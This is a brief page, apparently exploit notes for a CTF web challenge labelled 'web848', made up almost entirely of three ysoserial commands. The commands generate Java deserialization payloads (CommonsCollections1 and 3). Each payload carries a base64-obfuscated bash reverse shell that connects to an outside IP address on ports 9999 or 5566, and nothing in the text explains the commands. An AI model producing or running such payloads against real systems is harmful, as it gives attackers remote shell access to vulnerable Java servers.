java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguNTcvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"|base64
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguNTcvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"|base64
web848
java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguNTcvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"|base64

浙公网安备 33010602011771号